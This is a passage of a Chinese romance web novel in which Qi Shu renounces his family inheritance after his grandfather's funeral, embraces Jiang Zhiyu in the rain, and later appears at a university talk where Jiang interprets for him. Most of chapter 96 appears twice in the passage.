半小时之后,车辆停在庄园门口,戚述暂且不想进去,打算拿电脑做一会儿公务。 不过,翻出随身包的时候,他听到清脆的一声动静,像是什么被压住了。 戚述拉开隔层的拉链,发觉江知羽往里面塞了两包饼干。 他对此有印象,说是客户送的新品试吃,江知羽认为味道不错,一袋根本不够,没想到转头还给自己分了点。 “中午没吃饭,躲车里啃零嘴?”蒋禹旭哭笑不得。 戚述拆开包装“我挑食。” 拿出来一片,他安静地咬着,在尝出柚子味之前,脑海循着清晰的记忆,浮现出了那张手写名片。 这和自己起初悄悄闻到的、江知羽唇印的味道一模一样。 作者有话要说 第 95 章 相拥 第95章相拥 蜻蜓盘旋低飞,从室内走到屋外依旧闷热,江知羽眼瞧着乌云飘过来,垂落的阴霾凝满了水汽。 谈话间隙如此匆匆过一眼,待到敲定合同的时候,变换的天色浑浊晦暗,降水滂沱伴随大风哗哗作响,偶尔远处闪过白色雷鸣。 前一阵是春潮带雨,落下来时细软又煽情,风和日丽被淋湿了也成意趣,当前却是气象局从黄色预警调成了橙色。 江知羽今天在郊外的一处厂房,客户做纺织生意,近些年随着规模扩张也接外贸订单,相继建起五栋生产标间,索性办公室也搬到这边来。 造的时候没有规划妥当,最初的排水系统扛不住现在的体量,东挖一条西拉一道,遇到暴雨就会积水。 看着门口很快被淹掉,老板无奈地说“没想到下得这么急,待会儿保安会铺点砖头垫起来,咱们可以踩在上面走。” 江知羽弯起眼睫“我们那边也这样,每次台风来了都说要买皮划艇上班。” 老板很客气“江总监留下来多喝一杯茶吧,过会儿说不定这雨能小点。” 江知羽朝他道谢,再惋惜地表示自己还有其他事,今天就不打扰这边了。 周围交通不太方便,外加知道天气不好,他是开戚述的车过来,停在棚里有路过的员工拍照。 有时拉业务不能出风头,也有时流露得张扬一点,反而更让人亲切和信任,这位老板俨然属于后者,送客不过几步路的工夫,还就着发动机保养的话题多聊了几句。 江知羽见识丰富,什么都能接两句,有说有笑地约定好之后多联系,他先驶出厂区,之后在路口处停下。 寻常来说,遗嘱在被继承人过世后就生效,但前几天戚家打点丧事,哪怕有人急着分割财产,也不可能提出来,否则一开口就会是众矢之的。 这会儿葬礼已经结束,律师肯定会公布内容。 这虽然是家务事,但牵扯到太多商业利益,有争议的话在外闹起来也不好看,戚家多半是回去关上门来理清楚。 和戚述相处那么久,江知羽了解那栋大宅在哪里,是本市很有名的豪宅区域,建筑密度很稀疏,总共没有几户人家。 想到这里,他打开导航寻过去,雨刮器自动识别开到了最大档,车速则是谨慎地一缓再缓,轮胎却还是能激起水花。 路上开了快一个小时,庄园在雨里显出朦胧轮廓,保安亭那边的门禁严格,得知车内没有业主,牌号也没有录入,让江知羽先行下来。 “之前有好几辆车停在路边,其他住户看了不高兴,我们上周刚被投诉过。”保安很抱歉,“有劳靠在这边行么?” 门口开设了物业会所和水吧,广场上也设置一些车位,江知羽没有为难他们,下了车往里面走。 慢慢穿过门厅的时候,他发觉自己有点冲动。 且不说戚述处事向来靠得住,论起玩心眼,其他人合作都不是这人的对手,自己绕这么一大圈跑过来,会不会太突兀了? 江知羽也没想掺和,就是免不了挂念,似乎等在这里多瞧几眼也好。 或者说,即便戚述可以驾轻就熟,但在这种时刻,江知羽认为自己应该在他近处。 他戳了戳那位“亲亲怪”的对话框,正准备询问对方具体在哪幢,随即被厅内沙发上的人喊住。 “江老师?”蒋禹旭很诧异。 蒋禹旭是松晟的现任 董事长( 江知羽怔了怔,随即扯了下嘴角,礼貌寒暄“蒋董,您怎么在这里?” 蒋禹旭待人和气“刚才我捎了戚述一程,想着他指不定十分钟就出来了,就在这里稍微等等,带他回去加班也方便啊。” 他比江锦昆的年纪更大些,在江知羽眼里,他公事上是行业泰斗,私底也该被当做尊敬的长辈。 “我是刚下班,顺路过来瞧瞧。”江知羽紧张地说。 蒋禹旭的洞察力惊人,单单是往外扫了眼,察觉这边多了一辆戚述的车,他便内心了然地站了起来。 “看来他今晚不会回办公室了。”蒋禹旭踱步道。 江知羽也是聪明人,懂得他的弦外之音,这段感情被一下子看破,下意识地替戚述有所顾虑。 不过,蒋禹旭慈祥道“前不久我就知道他有对象了,但一直不清楚是谁,合着我早就见过,今天也是有缘了能撞在一起。” 江知羽揣摩着说“让您见笑了,我也没想到可以碰见您。” “帮我一个大忙呢,说实话,我也不太爱来这处地方,你来了那我就早点走。”蒋禹旭道。 讲到这个,他笑着摇了摇头“我和戚述都在这儿倒霉催,隔那么多年我以为自己忘了,一来还是记得清清楚楚。” 捕捉到字里行间的信息,江知羽眼神微沉,冒出了些许的困惑。 然后他小心地询问“您以前也住在这里?” “不,松晟有意向上市的时候,我来这里自荐过。”蒋禹旭道。 至少是二十多年前的事情,他说“当时我还是小喽啰,需要拉到这个项目,所以没脸没皮地带着方案上门了,那天我就见到了戚述。” 江知羽道“你们认识得那么早,他应该才八岁吧?” “对,管家让我等一会儿,我就傻傻地杵在玄关那边,看着那房子和宫殿一样,都不敢换鞋走进去,戚述碰巧放学回来,背着很新的书包,里面塞得沉甸甸的……比我读书的时候用功多了。” 如今蒋禹旭早已登上财富榜,坐拥的资产远比永煊丰厚,这时说到年少时的窘迫,语气里是好笑更多。 他说他在戚家当柱子,期间人来人往,偶尔瞟来几道视线,将他上下打量了一番。 大概是他那么局促卑微,显而易见不是贵客,其他亲眷们都没有停步搭理,直到戚述回到那里。 戚述喊了他一声“叔叔”,继而说到爷爷过不久该回来了,让他可以去客厅等着。 “我夸他的书包很帅,他说是妈妈买来的纪念品,还是第一天拿出来用。”蒋禹旭道,“哎,戚述那年是一个好小孩,哪有现在这么多黑水啊。” 江知羽弯起眼睫“您等到戚董事了吗?” “嗯,我想和他去书房谈,他觉得没那必要,直接说就可以。”蒋禹旭耸了耸肩,“我也顾不上什么难堪,和他讲起了方案。” 可惜这个过程不是很顺利,有个比戚述大点的男孩也回到家,戚立晋没有心思听蒋禹旭讲话,立即问起戚诺怎么才下课。 “玩儿去了!”戚诺活蹦乱跳地回答完,跑着去了楼上。 从而戚立晋更没心思翻阅计划书,嘱咐保姆多看着点自己孙子,万一在楼梯上摔跤了怎么办。 过了会儿,戚诺蹑手蹑脚地下来,手上多出一只书包,打开窗户丢到了外面,又朝周围做了一个“嘘”的手势,还摆出鬼 脸惹来众人宠溺发笑。 蒋禹旭本该附和着也笑几声,但他认得出来,那是戚述的书包。 没到一刻钟,戚述也匆匆下来,说自己有东西丢了,询问其他人是否看见。 大家异口同声地说没有,戚立晋淡淡地瞧着,还朝戚诺比划了下,意思是责怪他太调皮。 尽管如此,戚立晋依旧包庇长孙的行径,估计是认为十岁的男孩在家可以如此顽劣。 蒋禹旭看在眼里,登时感到难以所属,却碍着各种阻挠而无法出声, “我差不多明白了,你说到这里就可以,计划书可以带回去。”戚立晋迅速失去耐心,朝他做了送客的手势。 天下熙熙皆为利往,彼时的蒋禹旭知道自己没多少价值,戚立晋根本不把他放在眼里,当他试图再争取一下机会,几乎是被扫地出门。 那年的永煊财大气粗,眼看着要融资上市,多的是投行来联系和吹捧,蒋禹旭了解自己的成功率不高,只是没料到会如此狼狈。 他攥着公文包,沮丧地自行推门离开,随后看着戚述也走了出来。 回忆到此处,蒋禹旭道“我悄悄给他指了花坛的方向,他就冲过去找了,那时候我看到他的眼睛,觉得这个人以后可以成事。” 他碎叨的时候,江知羽一直有些沉默,垂着眼睫听得格外专注。 半晌,江知羽应声“嗯,你和他还成了上下级。” “我很欣赏他的个性和才能,特意飞去新加坡请他回国上任。”蒋禹旭感慨,“真是费了好大的劲才挖过来。” 继而蒋禹旭摇了摇头“说起来我被他爷爷请了出去,不方便陪他找那书包,后来良心作痛好几天。” 江知羽说“您给他透露了地方,他肯定很快就找到了。” 蒋禹旭道“可那天也下雨。” · 屋内安静得唯有呼吸声,律师团队拿出多份遗嘱,开始公布戚立晋名下的诸多资产该如何分配。 房产、藏品、豪车等一系列物品,主要划给几位近亲,旁支都是拿到边角料。 这些其实对比集团无关痛痒,聊到永煊才是重头戏,许多人不约而同地变得凝重。 律师先讲解了目前的股权结构,又说戚立晋评估各方能力,希望让戚述参与运营。 为了防止交接出现动荡,他们早些日子就介入沟通,戚立晋做过再三确认,认可戚述有接手的能力,届时秘书室也会全力扶持。 “等等,戚述怎么说都切割出去十多年了,凭什么交给他管?”二叔立即站起来。 其他男男女女不约而同地躁动,再听到二叔朝律师大声质疑。 “老爷子病糊涂了,不怕戚述对这里有怨气,把他的基业搞垮?我觉得他的神志没法做出正常判断,你们这份遗嘱做不得数!” 戚述一直托着下巴在走神,这会儿被报出了名字,所有人的目光集中到他身上。 他始终八风不动,冷静得有些残酷。 “二叔,让这么大的公司破产不容易,但爷爷相信你能做到,愣是跳开了你这个总经理。”他声线很稳。 “你狼子野心,绝对是动什么手脚了!”三叔不甘这个结果,跟着说,“你就是候着时机想报复这个家。” 戚述漫不经心地撩起眼帘“哦,你们对我做什么了?一个两个这么怕我记恨?” “阿树,我们这时候最需要团结,不用火i药味那么浓的呀。”叔母劝解。 戚述轻松道“你们要说火i药, 好像开炮的不是我啊,你要不还是找二叔三叔谈谈心吧?” “谁知道你憋着什么,打小你的城府就深。”二叔说。 “贪心不足蛇吞象,看你爷爷宠着你哥,你就使劲想分走人家的东西,考完奥数还假装不经意地提一嘴,你当我们听不出来你什么心思?” 另外一个亲戚附和“曾经我过来吃饭,阿树还会主动搭话,现在是正眼都不瞧一下。也是,他爷爷这辈子最重要的东西都落他手里了,还有什么必要和我们卖笑脸?” 戚述倍感滑稽“翻九岁以前的旧账?行,你有疑问我也可以解答,那会儿没眼界,什么都能当做宝,稍微长点脑子出来就不和你们搞这套了。” 三叔看不下去“戚述,老爷子刚下葬,你就这么大的口气?” 戚述嗤笑“我爷爷哪怕现在坐这里,我照样是这派作风,想来戚诺也很了解。” 话音落下,全程如同死寂,大家纷纷记起了他之前在这里做过什么事,戚诺破相了至少两个月。 二叔目眦欲裂“你要把这个家拆了是吧?” 戚述对此微挑眉梢“所以你能怎样?” 这句话是摆明的挑衅,他再道“遗嘱白纸黑字盖过手印,公证处也办了手续,你这会儿如果准备打官司,白费一笔普法的钱。” 瞧着众人反应各异,各有各的后悔莫及,大多是自责没能押对派系,戚述觉得很讽刺。 因为自己曾经确实渴望他们的关心,仅此而已没有更多,然而连这些也不存在。 没尝过甜头的人自然是被砸了一个棒槌也视作蜜枣,戚述拥有的东西太少了,因贫瘠而陷入过误会,以为自己凭借优秀的成绩获得了温情。 但他渐渐发现,以此得来的注意是一种假象,会随着那串数字的起伏变成泡沫,当自己不再光鲜就可能消失,难道爱是这种脆弱又摇摆的东西么? 戚述一度内心难平,不过这种情绪会随着岁月流逝被冲淡,他甚至以为自己全然地放下了。 但来到这个地方,看着这些熟悉面孔,还是会有挥之不去的无力。 好在他早已不是丢了东西必须求助的孩童,肩膀变得宽阔结实,心智也足够清明和坚定。 叔母恳求他“你别和大家打趣,你爷爷这么一走,我们都要指望你了。” 闻言,戚述纹丝不动,饶有兴致地反问。 “哪种话让你觉得过分?这点折腾就吃不消,以后还怎么办?” 三叔道“够了,你想怎么样?” “刚才我开玩笑而已,接下来是和你们说认真的。”戚述的笑意仅在表面,现在完全收敛起来,锋芒冷得如同刀锋。 他观望天色,不再废话“爷爷怎么分配是他的事,听不听全凭我自己,他以为永煊是一块儿肥肉,给谁谁都乐意咬上去,那么我随便看看戏。” 本来他在沟通阶段坚定拒绝,但是被执拗又傲慢地问过五六遍,戚述嫌烦之余改变主意,敷衍地将他们打发了。 这类遗嘱仅是单方面的意向,真正启动还要看继承人是否愿意在宣布后签字,戚述有权利做任何答复,根本算不上出尔反尔。 既然程序就是如此,他索性玩这帮人一把。 戚述扫过他们的表情,一个比一个精彩纷呈,他眼底尽是嘲弄,淡淡地继续说。 “唯有戚立晋养的狗,才会主人给什么肉都稀罕吃,各位大可以去争抢,我拟好了 放弃继承的声明,集团秘书想买我之前股份,我也会尽快转让给他,接下来你们怎么纠缠请自便。” 屋内再度鸦雀无声,同时也变得暗潮汹涌,戚述可以预料,他们光是互相算计财产,足够把整个集团耗死。 戚述轻飘飘地将协议放在桌边,自顾自地离席了,管家慌张地跟上他,问他一时赌气做到这步往后会不会心痛。 “不会,我认为这个决定很理智。”戚述说。 庄园从来没有自己想要的东西,如果他轻易地拿了,反而会困在相应的牢笼付出代价,他拥有自我实现的能力,走这种捷径是一种吃亏。 管家叹气“我给您拿把伞吧。” 这么讲着,管家找出一把伞,然而戚述说“不用了。” 没让管家疑问,他道“还过来也麻烦,我再也不会回这里了。” 戚述就这样利落地推开大门,眼神顺着空隙越出去,随即不可思议地愣在原地。 江知羽等在屋檐下,抬眼就与他对视。 有时候戚述对彼此的默契有些无奈,光是接触到江知羽的目光,他瞬间就能意识到,对方什么都明白了。 “我知道你不难过,因为你已经认清了什么值得在乎,什么不用再留心。”江知羽率先说,“你可能只是有一点空落落。” 戚述望向他“那点空落落都没有了。” 江知羽点了点脑袋,转而说“你买的伞那么大,搜的是双人尺寸么?” 自己男朋友不太会照顾人,试图遮风挡雨还差点让伞面戳头顶,戚述好笑地多瞧了一眼。 他再发现江知羽怕自己被淋到,微微往这边倾斜。 “雨太大了,挑中的这把也够呛。”戚述说。 江知羽哼声“你不能挤过来点么?” 于是,戚述就听话地靠了过去,依偎到一处的刹那,他感觉到江知羽忽然僵了下,似是有情绪难以忍耐。 紧接着他尚未理清缘由,就被对方极其用力地抱住。 在路边,灯光下,他们旁若无人地相拥,好似经历过一场末日。 戚述道“江知羽,你都清楚我不伤心了,那你也不要替我沮丧。” 有车辆路过两人,江知羽不仅没有松手,反而搂得更紧,戚述拍了拍他的后背。 江知羽不肯挪动,说“如果你现在是八岁,不管你说什么,我肯定把所有的怜悯都给你。” 戚述提醒“我远远不止这个岁数。” 江知羽小声道“但凡是个十八岁,我都要把你藏起来,不然很容易受到伤害。” 戚述说“然而在你面前,我要再加个十岁都有点不够。” “所以你已经足够强大,不需要同情,也不需要躲藏。”江知羽注视他,“我只是会从此陪在你身边。” 戚述会犹豫“今天你从客户厂区绕过来要开那么久。” “再远也没关系。”江知羽打补丁。 戚述有些无措,东张西望地说“雨还下得挺大。” 江知羽不假思索“被打湿都没关系。” 戚述望过来,看架势还打算再讲些什么,可是最终什么也没讲。 因为江知羽小幅度地垫起了脚尖。 伞外雨水滴答,伞下独有一片天地,此刻戚述无瑕顾及其他,只能强烈地感受着江知羽在吻他。 遍地的潮气和燥意交汇在一起,再过不久,该迎来一年里最灿烂的季节了。 戚述以往翻着日历有过盼望,似乎来到炎炎酷暑之下,独身积淀的冷意总能驱散不少,蝉鸣也让耳边不那么孤清。 他试图在这种蓬勃的景象吸取一些生命力,然后头也不回地往前去。 而戚述如今不会有这种念头。 在这枚亲吻里,他久久驻留,预支了一整个夏天的炽热。 作者有话要说 戚述出自传这个情节请编辑一定标去封面加粗加下划线,不买的人也清楚我被爱了哈 第 96 章 牡蛎 第96章牡蛎 如此堂而皇之地贴近,江知羽做完了又羞赧,被戚述偏过脸凑过去,两人的鼻尖很轻地碰了碰。 直到坐上车,江知羽还是有些发虚,湿润的嘴唇比以往更红,光是在路口被交通摄像头闪一下,他都怀疑人家能看出自己刚做过什么事。 至于副驾上那位,截然揣着另一种心情,单纯看戚述表情的话,怕不是把路口的摄像头当做了结婚照相。 江知羽顺着后视镜瞄了眼,感到荒谬“你在一个人笑什么呢?” 戚述不肯讲,说自己忙着写季度回顾,蒋董一直催着他交,这会儿在构思打草稿。 江知羽对此将信将疑,继而看到戚述摸出手机在打字。 虽然对方嘴角上扬,似乎乐在其中,横竖不像是做正经事,但自己忙着开车,没去管这家伙到底在干嘛。 回到家,戚述的出差行李交给了秘书,这时已经被放在门口,他们拿进去自己整理。 具体来说是戚述一件件归纳,江知羽在旁边一个劲地捣乱,时不时还去嗅嗅戚述,好像担心认不出来了,需要让自己的鼻子多适应。 参加完葬礼,戚述衣服上被染了纸钱烧焦的味道,因为大半天都处在这个环境里,所以他自己闻习惯了。 他听到江知羽忽地咳嗽,立即转过弯来,起身去浴室换洗。 热水都打开了,上衣被丢进篓子里,戚述忽地记起了什么,转头出去把江知羽提溜进来。 江知羽很警觉“我不脏,为什么也要被抓在这儿?” “刚刚你蹭过来,这些灰直接沾你满身。”戚述说,“等等我把衣服一起洗了。” 江知羽找茬“我这件是丝质的衬衫,你手搓的话小心点,弄坏了我有概率来找你麻烦。” 戚述摆出新鲜好奇的样子“是吗?和其他的有什么不一样?看上去貌似差不多。” 轻薄柔顺的布面被缓缓抚摸,真想研究那该拿实验室去好好分析,他偏要江知羽套在身上,隔着那层衣料游连和撩拨。 等到江知羽终于费劲脱掉,衬衫皱得没法看,身前的扣子也被弄坏两颗。 手工定制的衣服很娇贵,有一处走线被略微扯歪,戚述收拾狼藉的时候,瞧着自己闯出来的祸,表示天气好了就带江知羽去逛商场。 江知羽懒洋洋地靠着墙边,桃花眼安静地瞥过来,似是在视察戚述的状态是否可控。 确定自己不会再落套,他慢吞吞地挪近了些,踱来踱去巡视戚述干活,晾衣服的时候一个夹架子一个伸杆子。 做完家务,戚述去写工作回顾,江知羽搬了把椅子检查屏幕。 “江老师,职业性呢?”戚述进度堪忧,“涉及机密我需要一些隐私。” 江知羽无语“文档打开快半小时了,标题都没写上去,碰什么瓷呢还好意思说?我怀疑你们松晟最大的机密,有可能是首席满脑子只装得下一个男人。” 提到这茬,他困惑“你在车上噼里啪啦写得起劲,那你翻翻自己敲的备忘录啊。” 戚述说“你今天出场给人的后劲太大,当时我没消化好,思路方面有些狭隘。” 江知羽摊开手掌“我来看看具体窄成什么样了,光骂最近半导体大跌,完全不想着护盘吗?” 戚述低头看着他的掌心纹路,还不忘嘴上吃一口豆腐“绒绒,你感情线好长啊。” 江知羽很想 数落他没点谱,可惜脸没板下来,扭头忍笑忍得很辛苦。 随即,戚述打开备忘录,将手机交到他手里。 过程居然如此顺利,江知羽有些诧异,按照戚述的性格怎么说也该多占点便宜。 自觉其中可能布了陷阱,却终究抵不过好奇,江知羽捧起来看着那些段落。 很快,戚述发觉他趴到桌边,屈起胳膊挡住了大半张脸,露出来的耳朵还在发红。 屏幕上的字词和事业没有任何联系,其实戚述在车上写的全是江知羽。 有关拥抱的时候,骨骼包着血肉是如何碰撞,两边嘴唇又是如何覆盖,戚述认为这些亲密的背后具有魔力。 [你说是不是很神奇,时间好像直接停止了,就为了我能清晰感受到那个时刻有什么在降临。] [那是爱情有灵的时刻。] · 雨后初霁,正巧赶上春夏换季,商场橱窗也摆上了新的款式。 江知羽本来就要买些衣服了,于是挑了个空档带着戚述一起。 戚述有生活助理上下打点,往常出席场合或是有气温波动,该买什么、配什么,都会被默默安排妥当。 他自身也懒得花时间琢磨这些,但这次如同打开新世界大门,他对打扮江知羽流露出了浓厚的兴趣。 高档商场的柜姐很识眼色,尽管两位客人举止很风度,但言语默契相处自然,俨然是情侣模样。 “他这个身材搭什么都出挑,这一排试过去都不会有架不住的版型,就看他平时哪种场合跑得更勤,可以相对地多备几件。” 顶楼的贵宾室里,江知羽去试衣间核验尺码,柜姐就与戚述这么讲着。 “这一季的秀款也很好看,其他店还在排队,我们这里货很全,江先生有兴趣也穿来试试。”她周全地介绍。 这么聊着,江知羽试完出来了,说手头的不够合身,设计得也不太方便走动,其他的倒是可以再看。 “除了这两件,别的都包起来吧。”戚述刷卡买单。 江知羽犹豫“会不会买得浪费?” “马上要当执行副总了,以后你要见的人更复杂,怎么准备都不会多余。”戚述回答。 江知羽没再迟疑,问“来这里看了那么多,你最喜欢哪一套?” 即便是夏天,写字楼里常年开空调,来往都要仪表堂堂,专柜拿来展示的也以正装居多。 戚述指出浅灰色的西服,江知羽认真地邀请道“我上任的时候就穿这件,戚先生,你记得中午过来当面道贺。” 任职通知已经发下来,最近他在和各个高层交接,正式的全员通知涉及到周柯也有调动,紧赶慢赶地缓了大半个月。 许多人致电恭喜,也有朋友和客户送花,江知羽换了新的办公室,从部门搬出来,换到了紧靠着老板的那间。 面积虽然变得宽阔,但架不住他的人缘实在太好,屋内快摆不下这些礼物。 江知羽还空着桌上最重要的位置,等到戚述拿来一盆鹤望兰,终于瞧上去完美无缺。 作为自己的回礼,当戚述回母校做分享,江知羽也挑了一束鲜花,没开场就摆在演讲台上。 这惹得赶来的学生频频讨论,是谁给帅哥学长准备了这种牌面,比起表达欢迎还像是宣告主权。 高校讲座往往配备同传,此时江知羽就坐在里面,他望着其他人交头接耳,然后戚述戴着耳返,和老师们一同出现。 “准点开全场耳 麦,请问你们有变动吗?”江知羽熟练地切换频道。 戚述说“没问题。” 回答完,他补充“老师想让我灌点鸡汤,我没想出来该如何给底下做心理按摩。” 他在职场上是公认魔王,着实不会鼓励别人。 江知羽弯起眼睫“你随便编点好词好句也可以,不是高考写作文也这样么?我都接得住。” 戚述想提醒他,自己没有参加高考,不过时间来不及了,两人没有继续私下交流。 待到主持人开始讲话,江知羽扶正耳机全神贯注,一字一句传达到位。 接下来有很长一段时间,他都要忙于更纷乱的事务,这大概是他最后一次接讲座。 江知羽本就和这所高校有过合作,得知戚述要回母校,就主动促成了眼前工作。 要说意义有多特殊,似乎也算不上,他和戚述还会有很多个并肩的机会。 可能是因为很享受吧,江知羽心想,因为他们总是心照不宣,连同声传译都可以证明这份默契。 没有翻译不沉浸这种意识上同频的感受,江知羽最早听过前辈说,当双方之间足够熟悉,台上人做出第一个嘴型,自己就可以脱稿猜到接下来的话语。 江知羽追求谨慎,没有那种安全感,向来是延迟两秒左右才会出口,对此也已然非常满足。 不过这次,他坐在衣柜般拥挤的空间里,从心跳到呼吸异常地安稳。 在他澈亮的眼底,戚述调整发言设备,估计是没扛住老师的再三嘱托,先淡淡扯了下嘴角。 彼此距离着整个报告厅,江知羽忽然若有所感,也慢慢握住了自己的话筒。 “老师让我来描述下自己,我刚才琢磨了下,如果用比喻句的话,可能是一把刀?有人用它来形容过我,大概我给他的初始印象是危险品。” 江知羽明白戚述提的是他,不免弯了弯眼睫,跟着道“能当武器也挺好的对吧,多磨一磨应该可以撬开很多东西?” 学生们有些许互动,这里不是举手问答的环节,所以戚述很随意地听了几句。 “他大概现在也这么看待我,不过依据的出处变了,当然,在我眼里他同样如此,我们都非常固执地认定着一句话,才能出现在对方面前。” 江知羽翻到这里,注意到戚述停顿了一下。 没过半秒钟,就在戚述说出一个音节的时候,江知羽平静的心跳突然加速。 不是恐慌,不是刺激,他有一种前所未有的满足,被自己关联到的那句话打动。 并且他深深地相信这和戚述内心浮现的是同一句。 全场的学生们听着戚述讲下去,而在江知羽负责频道里,此刻没有任何出于避险的漏拍,甚至还要稍微急切些,他坚定地开口 “世界是我的牡蛎,我将以利剑开启。”* 作者有话要说 *引用 theworldismyoyster,whichiwithswordwillopen.——《themerrywivesofwindsor》 下章大结局,今晚会更(撒花) 时有幸向你推荐他的其他作品 第96章牡蛎 如此堂而皇之地贴近,江知羽做完了又羞赧,被戚述偏过脸凑过去,两人的鼻尖很轻地碰了碰。 直到坐上车,江知羽还是有些发虚,湿润的嘴唇比以往更红,光是在路口被交通摄像头闪一下,他都怀疑人家能看出自己刚做过什么事。 至于副驾上那位,截然揣着另一种心情,单纯看戚述表情的话,怕不是把路口的摄像头当做了结婚照相。 江知羽顺着后视镜瞄了眼,感到荒谬“你在一个人笑什么呢?” 戚述不肯讲,说自己忙着写季度回顾,蒋董一直催着他交,这会儿在构思打草稿。 江知羽对此将信将疑,继而看到戚述摸出手机在打字。 虽然对方嘴角上扬,似乎乐在其中,横竖不像是做正经事,但自己忙着开车,没去管这家伙到底在干嘛。 回到家,戚述的出差行李交给了秘书,这时已经被放在门口,他们拿进去自己整理。 具体来说是戚述一件件归纳,江知羽在旁边一个劲地捣乱,时不时还去嗅嗅戚述,好像担心认不出来了,需要让自己的鼻子多适应。 参加完葬礼,戚述衣服上被染了纸钱烧焦的味道,因为大半天都处在这个环境里,所以他自己闻习惯了。 他听到江知羽忽地咳嗽,立即转过弯来,起身去浴室换洗。 热水都打开了,上衣被丢进篓子里,戚述忽地记起了什么,转头出去把江知羽提溜进来。 江知羽很警觉“我不脏,为什么也要被抓在这儿?” “刚刚你蹭过来,这些灰直接沾你满身。”戚述说,“等等我把衣服一起洗了。” 江知羽找茬“我这件是丝质的衬衫,你手搓的话小心点,弄坏了我有概率来找你麻烦。” 戚述摆出新鲜好奇的样子“是吗?和其他的有什么不一样?看上去貌似差不多。” 轻薄柔顺的布面被缓缓抚摸,真想研究那该拿实验室去好好分析,他偏要江知羽套在身上,隔着那层衣料游连和撩拨。 等到江知羽终于费劲脱掉,衬衫皱得没法看,身前的扣子也被弄坏两颗。 手工定制的衣服很娇贵,有一处走线被略微扯歪,戚述收拾狼藉的时候,瞧着自己闯出来的祸,表示天气好了就带江知羽去逛商场。 江知羽懒洋洋地靠着墙边,桃花眼安静地瞥过来,似是在视察戚述的状态是否可控。 确定自己不会再落套,他慢吞吞地挪近了些,踱来踱去巡视戚述干活,晾衣服的时候一个夹架子一个伸杆子。 做完家务,戚述去写工作回顾,江知羽搬了把椅子检查屏幕。 “江老师,职业性呢?”戚述进度堪忧,“涉及机密我需要一些隐私。” 江知羽无语“文档打开快半小时了,标题都没写上去,碰什么瓷呢还好意思说?我怀疑你们松晟最大的机密,有可能是首席满脑子只装得下一个男人。” 提到这茬,他困惑“你在车上噼里啪啦写得起劲,那你翻翻自己敲的备忘录啊。” 戚述说“你今天出场给人的后劲太大,当时我没消化好,思路方面有些狭隘。” 江知羽摊开手掌“我来看看具体窄成什么样了,光骂最近半导体大跌,完全不想着护盘吗?” 戚述低头看着他的掌心纹路,还不忘嘴上吃一口豆腐“绒绒,你感情线好长啊。” 江知羽很想 数落他没点谱,可惜脸没板下来,扭头忍笑忍得很辛苦。 随即,戚述打开备忘录,将手机交到他手里。 过程居然如此顺利,江知羽有些诧异,按照戚述的性格怎么说也该多占点便宜。 自觉其中可能布了陷阱,却终究抵不过好奇,江知羽捧起来看着那些段落。 很快,戚述发觉他趴到桌边,屈起胳膊挡住了大半张脸,露出来的耳朵还在发红。 屏幕上的字词和事业没有任何联系,其实戚述在车上写的全是江知羽。 有关拥抱的时候,骨骼包着血肉是如何碰撞,两边嘴唇又是如何覆盖,戚述认为这些亲密的背后具有魔力。 [你说是不是很神奇,时间好像直接停止了,就为了我能清晰感受到那个时刻有什么在降临。] [那是爱情有灵的时刻。] · 雨后初霁,正巧赶上春夏换季,商场橱窗也摆上了新的款式。 江知羽本来就要买些衣服了,于是挑了个空档带着戚述一起。 戚述有生活助理上下打点,往常出席场合或是有气温波动,该买什么、配什么,都会被默默安排妥当。 他自身也懒得花时间琢磨这些,但这次如同打开新世界大门,他对打扮江知羽流露出了浓厚的兴趣。 高档商场的柜姐很识眼色,尽管两位客人举止很风度,但言语默契相处自然,俨然是情侣模样。 “他这个身材搭什么都出挑,这一排试过去都不会有架不住的版型,就看他平时哪种场合跑得更勤,可以相对地多备几件。” 顶楼的贵宾室里,江知羽去试衣间核验尺码,柜姐就与戚述这么讲着。 “这一季的秀款也很好看,其他店还在排队,我们这里货很全,江先生有兴趣也穿来试试。”她周全地介绍。 这么聊着,江知羽试完出来了,说手头的不够合身,设计得也不太方便走动,其他的倒是可以再看。 “除了这两件,别的都包起来吧。”戚述刷卡买单。 江知羽犹豫“会不会买得浪费?” “马上要当执行副总了,以后你要见的人更复杂,怎么准备都不会多余。”戚述回答。 江知羽没再迟疑,问“来这里看了那么多,你最喜欢哪一套?” 即便是夏天,写字楼里常年开空调,来往都要仪表堂堂,专柜拿来展示的也以正装居多。 戚述指出浅灰色的西服,江知羽认真地邀请道“我上任的时候就穿这件,戚先生,你记得中午过来当面道贺。” 任职通知已经发下来,最近他在和各个高层交接,正式的全员通知涉及到周柯也有调动,紧赶慢赶地缓了大半个月。 许多人致电恭喜,也有朋友和客户送花,江知羽换了新的办公室,从部门搬出来,换到了紧靠着老板的那间。 面积虽然变得宽阔,但架不住他的人缘实在太好,屋内快摆不下这些礼物。 江知羽还空着桌上最重要的位置,等到戚述拿来一盆鹤望兰,终于瞧上去完美无缺。 作为自己的回礼,当戚述回母校做分享,江知羽也挑了一束鲜花,没开场就摆在演讲台上。 这惹得赶来的学生频频讨论,是谁给帅哥学长准备了这种牌面,比起表达欢迎还像是宣告主权。 高校讲座往往配备同传,此时江知羽就坐在里面,他望着其他人交头接耳,然后戚述戴着耳返,和老师们一同出现。 “准点开全场耳 麦,请问你们有变动吗?”江知羽熟练地切换频道。 戚述说“没问题。” 回答完,他补充“老师想让我灌点鸡汤,我没想出来该如何给底下做心理按摩。” 他在职场上是公认魔王,着实不会鼓励别人。 江知羽弯起眼睫“你随便编点好词好句也可以,不是高考写作文也这样么?我都接得住。” 戚述想提醒他,自己没有参加高考,不过时间来不及了,两人没有继续私下交流。 待到主持人开始讲话,江知羽扶正耳机全神贯注,一字一句传达到位。 接下来有很长一段时间,他都要忙于更纷乱的事务,这大概是他最后一次接讲座。 江知羽本就和这所高校有过合作,得知戚述要回母校,就主动促成了眼前工作。 要说意义有多特殊,似乎也算不上,他和戚述还会有很多个并肩的机会。 可能是因为很享受吧,江知羽心想,因为他们总是心照不宣,连同声传译都可以证明这份默契。 没有翻译不沉浸这种意识上同频的感受,江知羽最早听过前辈说,当双方之间足够熟悉,台上人做出第一个嘴型,自己就可以脱稿猜到接下来的话语。 江知羽追求谨慎,没有那种安全感,向来是延迟两秒左右才会出口,对此也已然非常满足。 不过这次,他坐在衣柜般拥挤的空间里,从心跳到呼吸异常地安稳。 在他澈亮的眼底,戚述调整发言设备,估计是没扛住老师的再三嘱托,先淡淡扯了下嘴角。 彼此距离着整个报告厅,江知羽忽然若有所感,也慢慢握住了自己的话筒。 